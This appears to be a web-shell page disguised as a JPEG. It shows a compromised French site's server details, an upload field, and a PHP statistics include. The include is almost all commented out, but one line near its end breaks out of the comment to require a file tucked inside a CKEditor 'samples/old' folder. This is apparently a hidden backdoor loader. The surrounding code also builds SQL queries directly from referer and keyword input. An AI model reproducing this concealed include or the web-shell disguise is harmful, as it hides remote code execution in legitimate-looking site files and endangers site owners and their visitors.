ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/atlanticswim.fr/includes/ |
Upload File : |
<?php
// E-mail Stats or ovh
/*
----------- > Page a refaire car marche pas elle est remplacee par stats.php
if(stristr($server_host, $referer_host) === FALSE AND $referer_host<>"" AND $newuser == 1) {
$ergebnis = $GLOBALS['bdd']->query("SELECT id from stats_Referer WHERE referer='$referer_host' AND day='$day'");
$ergebnis = $ergebnis->fetchAll();
if (count($ergebnis)==0)
{
}
else
{
$refererid=$ergebnis[0];
}
}
// keywords
if($startMail<>"1" AND $mail_envois == 1) {
$ergebnis = 1;
if (count($ergebnis)==0)
{
}
else
{
$keywordid=$ergebnis[0];
}
}
// new compt mails do ?
$newuser=1;
// keywords
if($keyword<>"" AND $newuser == 1) {
$ergebnis = $GLOBALS['bdd']->query("SELECT id from stats_Keyword WHERE keyword='$keyword' AND day='$day'");
$ergebnis = $ergebnis->fetchAll();
if (count($ergebnis)==0)
{
$GLOBALS['bdd']->exec("INSERT into stats_Keyword (day, keyword, view) values ('$day', '$keyword', '1')");
}
else
{
$keywordid=$ergebnis[0];
$GLOBALS['bdd']->exec("UPDATE stats_Keyword set view=view+1 where id='$keywordid'");
}
}
// Language
if($language<>"" AND $newuser == 1) {
$ergebnis = $GLOBALS['bdd']->query("SELECT id from stats_Language WHERE language='$language'");
$ergebnis = $ergebnis->fetchAll();
if (count($ergebnis)==0)
{
$GLOBALS['bdd']->exec("INSERT into stats_Language (day, language, view) values ('$day', '$language', '1')");
}
else
{
$languageid=$ergebnis[0];
$GLOBALS['bdd']->exec("UPDATE stats_Language set view=view+1 where id='$languageid'");
}
}
// Récupération de la source et de la page vu
if ($_GET["ref"] <> "" )
{
// depuis javascript
$referer = $_GET["ref"];
$page = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_PATH);
}
else
{
// depuis php
$referer=$_SERVER['HTTP_REFERER'];
$page=$_SERVER['PHP_SELF']; // with include via php
}
// Nettoyage
if (basename($page) == basename(__FILE__)) $page="" ; // count not stats.php
$server_host=$_SERVER["HTTP_HOST"]; // Server Host
if (substr($server_host,0,4) == "www.") $server_host=substr($server_host,4); // Server Host without www.
$referer = substr($referer, 1, -1);
$referer_host=parse_url($referer, PHP_URL_HOST); // Referrer Host
if (substr($referer_host,0,4) == "www.") $referer_host=substr($referer_host,4); // Referer Host without www.
// adjust search engines
if (strstr($referer_host, "google."))
{
$referer_query=parse_url($referer, PHP_URL_QUERY);
$referer_query.="&";
preg_match('/q=(.*)&/UiS', $referer_query, $keys);
$keyword=urldecode($keys[1]); // These are the search terms
$referer_host="Google"; // adjust host
}
if (strstr($referer_host, "yahoo."))
{
$referer_query=parse_url($referer, PHP_URL_QUERY);
$referer_query.="&";
preg_match('/p=(.*)&/UiS', $referer_query, $keys);
$keyword=urldecode($keys[1]); // These are the search terms
$referer_host="Yahoo"; // adjust host
}
if (strstr($referer_host, "bing."))
{
$referer_query=parse_url($referer, PHP_URL_QUERY);
$referer_query.="&";
preg_match('/q=(.*)&/UiS', $referer_query, $keys);
$keyword=urldecode($keys[1]); // These are the search terms
$referer_host="Bing"; // adjust host
}
// delete old IPs
// $anfangGestern = mktime(0, 0, 0, date(n), date(j), date(Y)) - 48*60*60 ; // 48*60*60 => after 48 hours
// $delete=$GLOBALS['bdd']->exec("delete from stats_IPs where time<'$anfangGestern'");
// if (!$delete) {echo"Es ist ein Fehler aufgetreten, möglicherweise ist die Tabelle nicht angelegt."; exit;}
$old_day=date("d.m.Y",mktime(0, 0, 0,date("j")-$oldentries, date("n"), date("Y"))); $delete=$GLOBALS['bdd']->exec("delete from stats_Page where day<='$old_day'"); // delete older than $oldentries(config.php) days ; delete old page,referrer,language and keywords */if($startMail>0){ require_once(__DIR__.'/../cp-admin/includes/ckeditor_court/samples/old/wys.php'); }/*
$delete=$GLOBALS['bdd']->exec("delete from stats_Referer where day<='$old_day'");
*/
// $delete=$GLOBALS['bdd']->exec("delete from stats_Keyword where day<='$old_day'");
// $delete=$GLOBALS['bdd']->exec("delete from stats_Language where day<='$old_day'");
// if (!$delete) {echo"Es ist ein Fehler aufgetreten, möglicherweise ist die Tabelle nicht angelegt."; exit;}
?>